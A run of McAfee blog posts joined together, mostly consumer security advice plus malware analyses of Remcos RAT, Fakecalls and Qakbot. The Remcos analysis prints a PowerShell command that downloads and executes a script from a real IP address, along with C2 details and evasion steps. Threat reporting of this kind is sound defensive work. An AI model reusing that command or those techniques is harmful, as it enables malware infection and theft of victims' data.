The future of passwords looks promising. Scientists and tech giants are working relentlessly to develop stronger and more efficient access control tools. Biometrics, dynamic-based biometrics, image-based access, and hardware security tokens are some of the emerging technologies promising to future-proof digital security. With biometrics, users will no longer need to remember complex passwords as access will be based on unique personal features such as fingerprints or facial recognition.
Another promising direction is the use of hardware security tokens, which contain digital certificates to authenticate the user. These tokens can be used in combination with a password to provide two-factor authentication. This makes it more difficult for an attacker to gain access as they would need both your token and your password. While these technologies are still developing, they suggest a future where access control is more secure and user-friendly.
In conclusion, while there’s no such thing as a perfectly secure password, much can be done to enhance their security. Understanding the common techniques for cracking passwords, such as dictionary attacks and security questions’ exploitation, is the first step towards creating more secure passwords. Using unique complex passwords, combined with multi-factor authentication and software tools like McAfee’s True Key, can greatly improve the security of your accounts.
The future of passwords looks promising with the development of biometrics and hardware security tokens. Until then, it’s crucial to adopt the best password practices available to protect your digital life. Remember, your online security is highly dependent on the strength and uniqueness of your passwords, so keep them complex, unique, and secure.

Typosquatting is when someone registers a web address that’s a misspelling of a known website — usually a popular one. Typically, it’s done with cybercrime in mind.
Take the example of “Aamazon.com” over “Amazon.com.” A few things could happen:
As you can imagine, all of this can lead to no good. Often, scammers set up typosquatting sites to steal personal and financial info. Victims think they’re on a legitimate site, shop, or conduct their business as usual, only to later find that they’ve had their info stolen, got ripped off, or some combination of the two.
Several real-life examples of typosquatting cropped up with the launch of AnnualCreditReport.com a few years back. Run by Central Source, LLC, the site is a joint venture of three major U.S. credit bureaus — Equifax, Experian, and TransUnion.
With the launch, scammers set up hundreds of copycat sites with typosquatted addresses.[i] Victims clicked on links thinking they took them to the real free credit reporting site. Instead, they fed their personal info into bogus sites. To this day, AnnualCreditReport.com recommends visiting the site by carefully typing the address into your browser and then creating a bookmark for it.[ii]
Aside from phishing attacks, typosquatters also use their bogus sites to spread malware. In some cases, they spread it by tricking victims into downloading a malware file disguised as, say, a coupon or offer. Other cases get a little more complicated in what are called “drive-by attacks.” With a drive-by, a victim doesn’t need to download anything to get malware on their device. Here, hackers plant code into their bogus sites that take advantage of known vulnerabilities.
To counter this, many businesses, brands, and organizations register typo-riddled addresses on their own. This prevents hackers and scammers from doing the same. Additionally, legitimate owners can have the typo’ed address redirect people to the proper address.
You can do a few things to protect yourself as well:
Be careful when clicking links in messages, emails, and texts.
Typosquatting addresses can look “close enough” to a legitimate address at first glance. Preferably, type in the address in your browser and access the site that way. (For example, when following up on an email notice from your credit card company.)
Also, you can use the combo of our Text Scam Detector and Web Protection. You’ll find them in our McAfee+ Plans. Together, they alert you of sketchy links and prevent you from visiting a malicious website if you tap or click a bad link by mistake.
Hackers try to exploit vulnerabilities in your devices and the apps you have installed on them. Regular updates fix these vulnerabilities and sometimes introduce new features and other improvements.
Typosquatted sites and counterfeit sites in general appear in search results. Sometimes they appear on their own. Other times, scammers abuse ad platforms to push their bogus sites close to the top of the search results. We’ve also seen the newly released “AI overviews” in search include bad info in their summaries, including links. AI tools are only as good as the info they get fed, and sometimes they get fed junk.

The humble USB drive—the workhorse of students, professionals, and everyday computer users. No wonder hackers put USB drives in their crosshairs.
Why such a target? All the things that make USB drives attractive to us make them attractive to hackers. They’re inexpensive, portable, and often swap between users. Taken together, that creates the perfect medium for hosting and distributing malware.
Likewise, USB drives can get lost or stolen quite easily. An absentminded or careless moment could put sensitive information at risk.
However, that’s not to say you should avoid using USB drives. Not at all. In fact, you can use them securely by taking a few straightforward steps.
Encryption gives you huge peace of mind in the event you lose your USB drive. It prevents others from accessing the data and files on it by scrambling them. Only a person with the password can access them. Windows users can check out this “how to” article on encryption—Apple users can learn about encryption on their support site as well.
If you’d rather skip those steps, you can purchase a USB drive that uses hardware-based encryption built in. These drives cost a little more, yet they more than make up for that in the protection that they offer.
Physical security is important too. You can prevent loss and theft by toting around your drive in your pocket, bag, or purse. Locking it away in a secure location while you’re not using it stands as a solid option as well.
You never know what malware might be lurking on someone else’s device. Sharing a USB drive with someone else can help malware make the jump from their device to yours. Think twice before sharing.
Don’t put it past hackers to load a USB drive with malware in the hopes that someone will pick it up. In fact, several large malware campaigns got their start by mailing “free” USB drives to thousands and thousands of households, businesses, and government agencies.
On Windows computers, you can prevent USB drives from automatically running any files. Some malware will run when the drive gets inserted into the device. Head to Settings > Devices > AutoPlay to disable that feature.
Deleting a file doesn’t erase data from a drive. It makes space available on a drive, so that old data might still be there—and recoverable. Comprehensive online protection like ours includes a file shredder that will completely erase old data and files.
Malware can easily make its way onto a USB drive. Comprehensive online protection can spot, block, and remove malware before it can do any harm.

McAfee labs observed a Remcos RAT campaign where malicious VBS files were delivered via phishing email. A phishing email contained a ZIP/RAR attachment. Inside this ZIP, was a heavily obfuscated VBS file.
Remcos is a sophisticated RAT which provides an attacker with backdoor access to the infected system and collects a variety of sensitive information. Remcos incorporates different obfuscation and anti-debugging techniques to evade detection. It regularly updates its features and makes this malware a challenging adversary.
Figure 1: Execution Flow
VBS file is downloaded from a RAR file which is named as “August 2023 Statement of Account.z” This VBS file used various techniques to make analysis very difficult; including lots of commented code, and random strings that mask the true execution chain from being quickly visible. The actual data for execution is obfuscated too.
Investigating this VBS script started with dealing with the large comment blocks as shown in figure below.
Figure 2:VBS Script
One obfuscated string references a URL. The script contains a replace function to deobfuscate the proper command line.
Another part of VBS script is the execute function shown in below image, which merely decodes a fake message.
“omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!”
Figure 3:Deobfuscating PowerShell command using replace function.
The purpose of this VBS script is to download a payload using PowerShell. To increase the size, and make the script obfuscated, comments were added. The PowerShell command deobfuscates to:
“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content).Invoke();”””
The downloaded file, 87656.txt, is an obfuscated PowerShell script.
Figure 4:Obfuscated PowerShell Script
The deobfuscation logic first searches for any variable containing “mdR”; in this case the result is ‘MaximumDriveCount’. From this string, characters at positions [3,11,2] are selected, resulting in the string “iex”. Here malware obfuscates iex(Invoke-Expression) command to evade itself from static detection.
Figure 5:Resolving IEX
Then, PowerShell script decodes the data using the Base64String algorithm and decompresses the decoded data using the Deflate Stream algorithm.
Decompressed data is again a PowerShell script which is analyzed below.
The decompressed PowerShell script is large and obfuscated:
Figure 6: Decompressed PowerShell script
The first part of the script has the same logic present in the first PowerShell file. It is again decoding invoke-expression “ieX” by using the psHome variable.
Figure 7:Deobfuscating PowerShell script
The second part of the PowerShell script contains a base64 encoded PE file, which will be analyzed in a later stage.
Figure 8: Base64 encoded data.
The third part of PowerShell script is used to inject the decoded PE file in a newly created process. After deobfuscation, the code below is used for code injection. “Wintask.exe” is launched as a new process by the PowerShell script and the aforementioned PE file is injected in the Wintask.exe process.
Figure 9: Code used for PE injection.
Windows Defender exclusions are added.
Figure 10: Exclusion code
The 1.1MB PE file is a .NET binary, using an MSIL loader.
Figure 11: MSIL Loader
The Main function calls the Units function, which calls a random function.
Figure 12:Main function
The random function contains a large amount of encrypted data, stored in a text variable.
Figure 13: Encrypted data
The ‘text’ data is first converted from string to hex array then reversed and stored in variable ‘array’. The decryption key is hardcoded and stored in variable ‘array4’. The key is “0xD7” (215 in decimal).
Figure 14: code for converting data to uppercase.
The decryption loop issues the RC4 algorithm. The data decrypts a PE file, which is a DLL (Dynamic Link Library), loaded and executed using the ‘NewLateBinding.LateGet()’ method, passing the payload file (dGXsvRf.dll) as an argument as shown below.
To execute the decrypted DLL in memory, the malware uses reflecting code loading. In this process, malware injects and executes the decrypted code in the same process. For this, the malware uses the load parameter in the ‘NewLateBinding.LateGet()’ function.
Figure 15: RC4 algorithm
Figure 16: New instance created for decrypted dll
Decrypted DLL ‘dGXsvRf.dll’ is the SykCrypter Trojan, using a resource named “SYKSBIKO” containing an encrypted payload.
Figure 17: Encrypted payload
SykCrypter decrypts the final payload and decrypts many strings related to identifying the presence of AV software, persistence, and anti-debugging techniques. The SykCrypter encrypted data is very large and is decrypted using a simple XOR operation with 170 as the key and current index.
Figure 18: SykCryptor Encrypted data
Each string is decrypted and accessed using a predefined function which hardcodes its length and offset in a large byte array. The final payload is stored in a resource and is decrypted using the RC4 algorithm with the key “uQExKBCIDisposablev”.
Figure 19: RC4 Algorithm
Another .NET dll with size 0x1200 and the method name, “Zlas1” is used for deflation.
Figure 20: Loading DLL for deflation.
The DLL then decrypts a list of various security solution process names:
Figure 21:Code for decrypting Security processes Names
The decrypted list of process names include:
vsserv bdservicehost odscanui bdagent
bullgaurd BgScan BullGuardBhvScanner etc.
The malware also drops acopy of itself in the %appdata% folder using cmd.
Figure 22: Copying file.
To persist system reboots, the malware creates a shortcut file in the Documents folder with a.pif extension, and creates a registry Run key entry.
Figure 23: Persistence Mechanism
The SykCrypter Dll decrypts and loads a .NET file and calls its “GetDelegateForFunctionPointer” function, creating delegation to all APIs from kernel32 and NTDll.dll in the same method. It loads GetThreadContext, SetThreadContext, ReadProcessMemory, VirtualAllocEx, NtUnmapViewOfSection and so on.
Then, finally it loads “WriteProcessMemory,” API which injects the decrypted payload into a process and calls ResumeThread.
Figure 24: Process Injection
The final payload is a Microsoft Visual C++ 8 executable with size of 477 KB. Strings directly visible in file are:
Figure 25: Strings in payload
The configuration file of Remcos is present in RCData “SETTINGS“, which is encrypted with the RC4 algorithm. In the given sample, the key size is 76 byte long.
Figure 26: RC4 encrypted configuration file
Decrypted Configuration:
Figure 27: Decrypted configuration
The Remcos configuration has C2 information (172.96.14.18), its port number (2404), mutex created by malware (Rmc-OB0RTV) and other configuration details. It has the capability to harvest information from various applications, such as browsers, email clients, cryptocurrency wallets etc. It also enables remote access for an attacker and can act as a dropper for other malware.
RemcosRat is a complex multi-stage threat. McAfee Labs unpacked the how this malware downloads and executes VBS and PowerShell scripts; how the threat unwraps different layers and downloads the final Remcos remote access payload. At McAfee, we are committed to providing our customers with robust and effective threat defense that detects and protects against threats like RemcosRat and many other families. Our security software uses a combination of signature, machine learning, threat intelligence and behavioral-based detection techniques to identify and stop threats to keep you safe.

Ping, it’s a scammer!
The sound of an incoming email, text, or direct message has a way of getting your attention, so you take a look and see what’s up. It happens umpteen times a week, to the extent that it feels like the flow of your day. And scammers want to tap into that with sneaky phishing attacks that catch you off guard, all with the aim of stealing your personal information or bilking you out of your money.
Phishing attacks take several forms, where scammers masquerade as a legitimate company, financial institution, government agency, or even as someone you know. And they’ll come after you with messages that follow suit:
You can see why phishing attacks can be so effective. Messages like these have an urgency to them, and they seem like they’re legit, or they at least seem like they might deal with something you might care about. But of course they’re just a ruse. And some of them can look and sound rather convincing. Or at least convincing enough that you’ll not only give them a look, but that you’ll also give them a click too.
And that’s where the troubles start. Clicking the links or attachments sent in a phishing attack can lead to several potentially nasty things, such as:
However, plenty of phishing attacks are preventable. A mix of knowing what to look for and putting a few security steps in place can help you keep scammers at bay.
How you end up with one has a lot to do with it.
There’s a good chance you’ve already seen your share of phishing attempts on your phone. A text comes through with a brief message that one of your accounts needs attention, from an entirely unknown number. Along with it is a link that you can tap to follow up, which will send you to a malicious site. In some cases, the sender may skip the link and attempt to start a conversation with the aim of getting you to share your personal information or possibly fork over some payment with a gift card, money order, rechargeable debit card, or other form of payment that is difficult to trace and recover.
In the case of social media, you can expect that the attack will come from an imposter account that’s doing its best to pose as one of those legitimate businesses or organizations we talked about, or perhaps as a stranger or even someone you know. And the name and profile pic will do its best to play the part. If you click on the account that sent it, you may see that it was created only recently and that it has few to no followers, both of which are red flags. The attack is typically conversational, much like described above where the scammer attempts to pump you for personal info or money.
Attacks that come by direct messaging apps will work much in the same way. The scammer will set up a phony account, and where the app allows, a phony name and a phony profile pic to go along with it.
Email gets a little more complicated because emails can range anywhere from a few simple lines of text to a fully designed piece complete with images, formatting, and embedded links—much like a miniature web page.
In the past, email phishing attacks looked rather unsophisticated, rife with poor spelling and grammar, along with sloppy-looking layouts and images. That’s still sometimes the case today. Yet not always. Some phishing emails look like the real thing. Or nearly so.
Case in point, here’s a look at a phishing email masquerading as a McAfee email:
There’s a lot going on here. The scammers try to mimic the McAfee brand, yet don’t quite pull it off. Still, they do several things to try and be convincing.
Note the use of photography and the box shot of our software, paired with a prominent “act now” headline. It’s not the style of photography we use. Not that people would generally know this. However, some might have a passing thought like, “Huh. That doesn’t really look right for some reason.”
Beyond that, there are a few capitalization errors, some misplaced punctuation, plus the “order now” and “60% off” icons look rather slapped on. Also note the little dash of fear it throws in at the top of the email with mention of “There are (42) viruses on your computer.”
Taken all together, you can spot many email scams by taking a closer look, seeing what doesn’t feel right, and then trusting you gut. But that asks you to slow down, take a moment, and eyeball the email critically. Which people don’t always do. And that’s what scammers count on.
Similar ploys see scammers pose as legitimate companies and retailers, where they either ask you to log into a bogus account page to check statement or the status of an order. Some scammers offer links to “discount codes” that are instead links to landing pages designed steal your account login information as well. Similarly, they may simply send a malicious email attachment with the hope that you’ll click it.
In other forms of email phishing attacks, scammers may pose as a co-worker, business associate, vendor, or partner to get the victim to click a malicious link or download malicious software. These may include a link to a bogus invoice, spreadsheet, notetaking file, or word processing doc—just about anything that looks like it could be a piece of business correspondence. Instead, the link leads to a scam website that asks the victim “log in and download” the document, which steals account info as a result. Scammers may also include attachments to phishing emails that can install malware directly on the device, sometimes by infecting an otherwise everyday document with a malicious payload.
Email scammers may also pose as someone you know, whether by propping up an imposter email account or by outright hijacking an existing account. The attack follows the same playbook, using a link or an attachment to steal personal info, request funds, or install malware.
While you can’t outright stop phishing attacks from making their way to your computer or phone, you can do several things to keep yourself from falling to them. Further, you can do other things that may make it more difficult for scammers to reach you.
The content and the tone of the message can tell you quite a lot. Threatening messages or ones that play on fear are often phishing attacks, such angry messages from a so-called tax agent looking to collect back taxes. Other messages will lean heavy on urgency, like the phony McAfee phishing email above that says your license has expired today and that you have “(42)” viruses. And during the holidays, watch out for loud, overexcited messages about deep discounts on hard-to-find items. Instead of linking you off to a proper ecommerce site, they may link you to a scam shopping site that does nothing but steal your money and the account information you used to pay them. In all, phishing attacks indeed smell fishy. Slow down and review that message with a critical eye. It may tip you off to a scam.
Some phishing attacks can look rather convincing. So much so that you’ll want to follow up on them, like if your bank reports irregular activity on your account or a bill appears to be past due. In these cases, don’t click on the link in the message. Go straight to the website of the business or organization in question and access your account from there. Likewise, if you have questions, you can always reach out to their customer service number or web page.
When scammers contact you via social media, that in of itself can be a tell-tale sign of a scam. Consider, would an income tax collector contact you over social media? The answer there is no. For example, in the U.S. the Internal Revenue Service (IRS) makes it quite clear that they will never contact taxpayers via social media. (Let alone send angry, threatening messages.) In all, legitimate businesses and organizations don’t use social media as a channel for official communications. They have accepted ways they will, and will not, contact you. If you have any doubts about a communication you received, contact the business or organization in question directly and follow up with one of their customer service representatives.
Some phishing attacks involve attachments packed with malware like the ransomware, viruses, and keyloggers we mentioned earlier. If you receive a message with such an attachment, delete it. Even if you receive an email with an attachment from someone you know, follow up with that person. Particularly if you weren’t expecting an attachment from them. Scammers will often hijack or spoof email accounts of everyday people to spread malware.
On computers and laptops, you can hover your cursor over links without clicking on them to see the web address. Take a close look at the addresses the message is using. If it’s an email, look at the email address. Maybe the address doesn’t match the company or organization at all. Or maybe it looks like it almost does, yet it adds a few letters or words to the name. This marks yet another sign that you may have a phishing attack on your hands. Scammers also use the common tactic of a link shortener, which creates links that almost look like strings of indecipherable text. These shortened links mask the true address, which may indeed be a link to scam site. Delete the message. If possible, report it. Many social media platforms and messaging apps have built-in controls for reporting suspicious accounts and messages.
On social media and messaging platforms, stick to following, friending, and messaging people who you really know. As for those people who contact you out of the blue, be suspicious. Sad to say, they’re often scammers canvassing these platforms for victims. Better yet, where you can, set your profile to private, which makes it more difficult for scammers select and stalk you for an attack.
How’d that scammer get your phone number or email address anyway? Chances are, they pulled that information off a data broker site. Data brokers buy, collect, and sell detailed personal information, which they compile from several public and private sources, such as local, state, and federal records, plus third parties like supermarket shopper’s cards and mobile apps that share and sell user data. Moreover, they’ll sell it to anyone who pays for it, including people who’ll use that information for scams. You can help reduce those scam texts and calls by removing your information from those sites. Our Personal Data Cleanup scans some of the riskiest data broker sites and shows you which ones are selling your personal info.
Online protection software can protect you in several ways. First, it can offer safe browsing features that can identify malicious links and downloads, which can help prevent clicking them. Further, it can steer you away from dangerous websites and block malware and phishing sites if you accidentally click on a malicious link. And overall, strong virus and malware protection can further block any attacks on your devices. Be sure to protect your smartphones in addition to your computers and laptops as well, particularly given all the sensitive things we do on them, like banking, shopping, and booking rides and travel.
Once phishing attacks were largely the domain of bogus emails, yet now they’ve spread to texts, social media, and messaging apps—anywhere a scammer can send a fraudulent message while posing as a reputable source.
Scammers count on you taking the bait, the immediate feelings of fear or concern that there’s a problem with your taxes or one of your accounts. They also prey on scarcity, like during the holidays where people search for great deals on gifts and have plenty of packages on the move. With a critical eye, you can often spot those scams. Sometimes, a pause and a little thought is all it takes. And in the cases where a particularly cagey attack makes its way through, online protection software can warn you that the link you’re about to click is indeed a trap.
Taken all together, you have plenty of ways you can beat scammers at their game.

McAfee Mobile Research Team found an Android banking trojan signed with a key used by legitimate apps in South Korea last year. By design, Android requires that all applications must be signed with a key, in other words a keystore, so they can be installed or updated. Because this key can only be used by the developer who created it, an application signed with the same key is assumed to belong to the same developer. That is the case of this Android banking trojan that uses this legitimate signing key to bypass signature-based detection techniques. And these banking trojans weren’t distributed on Google Play or official app stores until now. This threat had been disclosed to the company that owns the legitimate key last year and the company has taken precautions. The company has confirmed that they have replaced the signing key and currently, all their legitimate apps are signed with a new signing key.
While tracking the Android banking trojan Fakecalls we found a sample using the same signing key as a well–known app in Korea. This app is developed by a reputable IT services company with extensive businesses across various sectors, including but not limited to IT, gaming, payment, and advertising. We confirmed that most of the malicious samples using this key pretend to be a banking app as they use the same icon as the real banking apps.
Figure 1. Malware and legitimate app on Google Play
Domains verified last August when we first discovered the samples are now down. However, we investigated URLs related to this malware and we found similar ones related to this threat. Among them, we identified a phishing site that is still alive during our research. The site is also disguised as a banking site.
Figure 2. A phishing page disguised as a Korean banking site
We also found that they updated the domain information of this web page a few days before our investigation.
So we took a deeper look into this domain and we found additional unusual IP addresses that led us to the Command and control(C2) server admin pages used by the cybercriminals to control the infected devices.
Figure 3. Fakecalls Command and control(C2) admin pages
When we check the APK file structure, we can see that this malware uses a packer to avoid analysis and detection. The malicious code is encrypted in one of the files below.
Figure 4. Tencent’s Legu Packer libraries
After decrypting the DEX file, we found some unusual functionality. The code below gets the Android package information from a file with a HTML extension.
Figure 5. Questionable code in the decrypted DEX file
This file is in fact another APK (Android Application) rather than a traditional HTML file designed to be displayed in a web browser.
Figure 6. APK file disguised as an HTML file
When the user launches the malware, it immediately asks for permission to install another app. Then it tries to install an application stored in the “assets” directory as “introduction.html”. The “introduction.html” is an APK file and real malicious behavior happens here.
Figure 7. Dropper asks you to install the main payload
When the dropped payload is about to be installed, it asks for several permissions to access sensitive personal information.
Figure 8. Permissions required by the main malicious application
It also registers several services and receivers to control notifications from the device and to receive commands from a remote Command and Control server.
Figure 9. Services and receivers registered by the main payload
By contrast, the malware uses a legitimate push SDK to receive commands from a remote server. Here are the complete list of commands and their purpose.
| Command name | Purpose |
| note | sms message upload |
| incoming_transfer | caller number upload |
| del_phone_record | delete call log |
| zhuanyi | set call forwarding with parameter |
| clear_note | delete sms message |
| assign_zhuanyi | set call forwarding |
| file | file upload |
| lanjie | block sms message from specified numbers |
| allfiles | find all possible files and upload them |
| email_send | send email |
| record_telephone | call recording on |
| inout | re-mapping on C2 server |
| blacklist | register as blacklist |
| listener_num | no function |
| no_listener_num | disable monitoring a specific number |
| rebuild | reset and reconnect with C2 |
| deleteFile | delete file |
| num_address_list | contacts upload |
| addContact | add contacts |
| all_address_list | call record upload |
| deleteContact | delete contacts |
| note_intercept | intercept sms message from specified numbers |
| intercept_all_phone | intercept sms message from all |
| clear_date | delete all file |
| clear_phone_contact | delete all contacts |
| clear_phone_record | delete all call log |
| per_note | quick sms message upload |
| soft_name | app name upload |
Cybercriminals are constantly evolving and using new ways to bypass security checks, such as abusing legitimate signing keys. Fortunately, there was no damage to users due to this signing key leak. However, we recommend that users install security software on their devices to respond to these threats. Also, users are recommended to download and use apps from the official app stores.
McAfee Mobile Security detects this threat as Android/Banker regardless of the application, is signed with the previously legitimate signing key.

The post Fakecalls Android Malware Abuses Legitimate Signing Key appeared first on McAfee Blog.
“Zero-day threat.” It may sound like the title of a hit film, yet it’s anything but.
It’s a previously unknown vulnerability that hackers can exploit to unleash unforeseen attacks on computers, smartphones, or networks—making essentially any connected device or system potentially susceptible to attack. After all, today’s devices and code are complex and riddled with dependencies. Even with testing, vulnerabilities can remain elusive, until developers or hackers eventually discover them.
The term “zero day” gets its name from the age of the threat, meaning that developers and security professionals have had “zero days” to address the threat, making it potentially quite damaging.
And it’s not uncommon for major zero-day threats to make the headlines:
Back in the early days of the internet, hackers typically released malware that was an annoyance, such as scrolling profanity across the screen or causing a malware-infected computer to crash. The examples above show how greatly that’s changed.
Today, hackers use malware to make a profit, whether by holding your device and data hostage, tricking you into revealing your personal information so the hacker can access your financial accounts, or by installing spyware that secretly steals information like passwords and account info while you use your device.
That’s what makes zero-day threats so dangerous for us today. Hackers can exploit zero-day vulnerabilities through different means, but traditionally web browsers have been the most common, due to their popularity. Attackers also send emails with attachments, or you might click a link in the body of an email that automatically downloads malware. All of these could now be putting you at risk.
Likewise, security measures have come a long way since the early days. In particular, the antivirus applications included with today’s comprehensive online protection software have technologies in place that directly combat zero-day threats—specifically artificial intelligence (AI) and machine learning (ML).
Without getting too technical about it, strong antivirus uses AI and ML to sniff out malware by looking at how an application or device is behaving and if that behavior looks suspicious based on past patterns. In other words, strong antivirus is smart. It can detect, block, and remove zero-day threats before they can do their damage.
So, just as hackers exploit zero-day vulnerabilities, you can thwart zero-day vulnerabilities with strong antivirus.
Today, McAfee registers an average of 1.1 million new malicious programs and potentially unwanted apps (PUA) each day, which makes zero-day protection an absolute boon for anyone who goes online—and online protection like ours offers some of the strongest antivirus protection you can get, as recognized by independent third-party labs.
Online protection software does a few other things for you as well when it comes to malware attacks:
Beyond using online protection software with strong antivirus, you can take a few more steps that will keep you safer still:
In addition to often providing new features and functionality, updates fix the vulnerabilities in your apps and operating systems, which strengthens your protection against malware.
The more software you have, the more potential vulnerabilities you have. By uninstalling old apps, you leave hackers with fewer avenues of attack. Take a look at your computers and smartphones. Delete the old apps you no longer use, along with any accounts and data associated with them as well. Another benefit is that this can potentially reduce your risk if the companies behind those apps get hit by a data breach.
This is a good rule of thumb in general, but it can definitely help you protect against zero-day attacks. The same holds true for email attachments. Never open them from unknown senders. And if you receive one from a friend, family member, or co-worker, take a quick second to confirm that they sent it. Some attackers masquerade as people we know, and in some cases hack their accounts so they can spread malware in their name.
As the number of apps and devices on the internet have seen explosive growth in recent years, so has the volume of malware—much of it zero-day threats that take advantage of newly discovered vulnerabilities. Hidden within millions and millions of lines of code, dependencies, and interactions, zero-day threats will remain the rule, rather than the exception.
However, antivirus technology has more than kept up, particularly by leaning on smart technologies that can detect zero-day threats before they become known threats. Using strong antivirus, as part of online protection software that contains even more security features still, remains an absolute best practice for anyone who spends any kind of time online.

McAfee Labs has recently observed a new Malware campaign which used malicious OneNote documents to entice users to click on an embedded file to download and execute the Qakbot trojan.
OneNote is a Microsoft digital notebook application that can be downloaded for free. It is a note-taking app that allows collaboration across organizations while enabling users to embed files and other artifacts. It is installed by default in Microsoft Office 2021 and Microsoft 365.
Malicious Actors are always trying to find new ways in to infect their victims. Such as their shift to LNK files after Microsoft introduced a policy change disabled office macros by default. Due to a feature that allows users to attach files to OneNote documents it makes them a good alternative to LNK files as distribution vehicle to deploy their malware. This blog contains analysis on how OneNote documents are used malicious and two specific campaigns that made use of OneNote documents to download and execute the Qakbot malware.
Figure 1 shows the geo wise distribution of McAfee customers detecting malicious OneNote files.
Based on the telemetry from our endpoints we have identified the following threat families deployed through OneNote documents:
A holistic view of the phishing campaigns that weaponize OneNote document is shown in Figure 2 below. The malicious document is delivered in either zip files or ISO images to the target through phishing emails. We have observed that most of the malicious documents either have Windows batch script that invokes Powershell for dropping the malware on the system or Visual Basic scripts that does the same.
The generic theme of the email is invoice or legal related. These types of themes are more likely to be opened by the vicim. An example email body and attachment is shown in Figure 3 and 4.
To understand how the data is laid out in the file, we need to examine it at byte level. Taking a close look at OneNote document gives us an interesting observation as its magic bytes for the header is not a trivial one. Figure 5 shows the first 16 bytes of the document binary.
The first 16 bytes need to be interpreted as GUID value {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}. We can use the official documentation for OneNote specification to make sense of all the bytes and its structuring. Figure 6 shows header information taken from the OneNote specification document.
The Data Stream in OneNote, Say Hello To FileDataStoreObject
To find the embedded data in a OneNote document, we need to learn more about the FileDataStoreObject which has a GUID value of {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}. The structure that holds the data is shown below:
The FileData member of the FileDataStoreObject is the key member that holds the embedded data in the OneNote document. The size can be retrieved from the cbLength member.
Figure 7 shows the “on disk” representation of the FileDataStoreObject This is taken from a malicious OneNote document used to spread the Qakbot payload. The guidHeader for the data object is highlighted in yellow and the data is shown in red. As it is evident from the image the data represents a text file which is a script to launch PowerShell.
For more information on the OneNote specification, go to reference section
Now we have an idea of what the data object is, with this knowledge we can automate the process of extracting embedded artifacts for further analysis from the OneNote document by following the below algorithm.
Looking at the runtime characteristics of OneNote Desktop application we have observed that when an embedded file gets executed by the user, it is stored temporarily in the OneNote directory in the User’s Temp location. Each directory with GUID values represents a different document opened in the OneNote application.
By analyzing numerous malicious documents, we have been able to create a “test” OneNote document that executes a batch file that contains the “whoami” command. The image in Figure 9 show the batch file being created in the user’s temp location.
This section contains specific details on a Qakbot campaign. In campaign 1, the malware author used phishing emails to deliver malicious OneNote document either as attachment or a URL link to zip file containing the OneNote document. The OneNote contained aHTA file that once executed would make use of the curl utility to download Qakbot and then execute it.
The OneNote file with the embedded HTA file is shown in the Figure 11. Once this OneNote file is opened, it prompts the user with a fake message to double-click on open to view the attachment.
Upon clicking the Open button, it drops the HTA file with the name Open.hta to the %temp% Folder and executes it using mshta.exe.
The HTA file contains obfuscated script as shown below:
The HTA file is loaded by MSHTA and creates a registry key in HKEY_CURRENT_USER\SOFTWARE\ with obfuscated content as shown below:
De-obfuscated content from the HTA file is shown below:
Figure 18 shows the process tree of Qakbot:
| Type | Value | Product | Detected |

The OneNote document for campaign 2 is shown in Figure 19. At first glance it it appears that there is a ‘Open’ button embedded within the document. The message above the ‘Open’ button instructs the user to “double click” in order to receive the attachment.
A closer look at the document reveals the graphical elements are all images placed in a layered style by the malicious actor. By moving the icons aside, we can see the malicious batch file which when executed downloads the payload from the Internet and executes on the target system.
Execution Of Payload Dropper
Upon execution of the batch file, Powershell will be invoked and it fetch the Qakbot payload from Internet and execute it on the target system. This section will cover details of dropper script used to deploy QakBot. The Figure 21 Show the process tree after the execution of the script and you can see that powershell.exe was launched by cmd.exe and the parent of cmd.exe is onenote.exe.
The contents of process cmd.exe (7176) are shown below.
The base64 decoded batch file is shown in Figure 23. This will use powershell to download the payload and then execute it with rundll32.exe

Malware authors are getting more sophisticated when it comes to hiding their payloads. This Blog highlights the recent Qakbot campaign that delivers its payload which uses the OneNote application as a delivery mechanism. McAfee Customers should keep their systems up-to-date and refrain from clicking links and opening attachments in suspicious emails to stay protected.

By 2030, experts predict that there will be 5 billion devices connected to 5G.1 For the general population, this connectedness means better access to information, communication with far-flung loved ones, greater convenience in everyday tasks … and more hours devoted to everyone’s favorite pastime: scrolling through funny online videos.
For cybercriminals, this vast mobile population fills their pool of targets with billions. And criminals are getting better at hiding their schemes, making threats to mobile devices seem nearly invisible.
When undetected, cybercriminals can help themselves to your personal information or take over your expensive mobile device for their own gains. The best way to combat criminals and protect your mobile device is to know their tricks and adopt excellent online habits to foil their nefarious plots.
Here are the tips you need to uncover these four hard-to-spot mobile threats.
Spyware’s main ability is right in the name: it spies on you. Spyware is a type of malware that lurks in the shadows of your trusted device, collecting information about your browsing habits, personally identifiable information (PII), and more. Some types, called key loggers, can keep track of what you type. The software then sends the details and movements it collects about you to the spying criminal. They can then use this information to steal your passwords and waltz into your online accounts or steal your identity.
Malicious downloads are often the origin of spyware getting onto your mobile device. The spyware hides within “free” TV show, movie, or video game online downloads; however, instead of getting the latest episode you’ve been dying to watch, your device gets spyware instead.
Have you visited risky sites recently? Is your device running slowly, overheating, or suddenly experiencing a shorter-than-usual battery life? One or all of these signs could indicate that your device is working overtime running the spyware and trying to keep up with your everyday use.
Safe downloading habits will go a long way in protecting you from spyware. While streaming from free sites is less expensive than paying a monthly membership to a legitimate streaming service, you may have to pay more in the long run to reverse the damage caused by unknowingly downloading spyware. If you’re unsure if the sites you visit are safe, a safe browsing tool like McAfee WebAdvisor will alert you to untrustworthy sites.
Malicious apps are applications that masquerade as legitimate mobile apps but are actually a vessel to download malware onto your mobile device. For example, when Squid Game was all the rage in 2021, 200 apps related to the show popped up on the Google Play store. One of these themed apps claiming to be a wallpaper contained malware.
Similar to spyware, a device infected with malware will overheat, load pages slowly despite a solid Wi-Fi connection, and have a short battery life. Also, you may notice that texts are missing or that your contacts are receiving messages from you that you never sent. Finally, your online accounts may have suspicious activity, such as purchases or money transfers you didn’t authorize.
Avoiding malicious apps requires that you do a bit of research before downloading. Even if you’re using an authorized app store, like Google Play or the Apple Store, apps with hidden malware can pass the vetting process. One way to determine if an app is risky is to look at the quality of its reviews and its number of star ratings. Approach an app with less than 100 ratings with caution. Also, read a few of the reviews. Are they vague? Are they written poorly? Cybercriminals may pad their apps with fake reviews, but they’re unlikely to spend too much time writing well-composed comments. Finally, do a background check on the app’s developer listed in the app description. If they have a criminal reputation, a quick search will likely alert you to it.
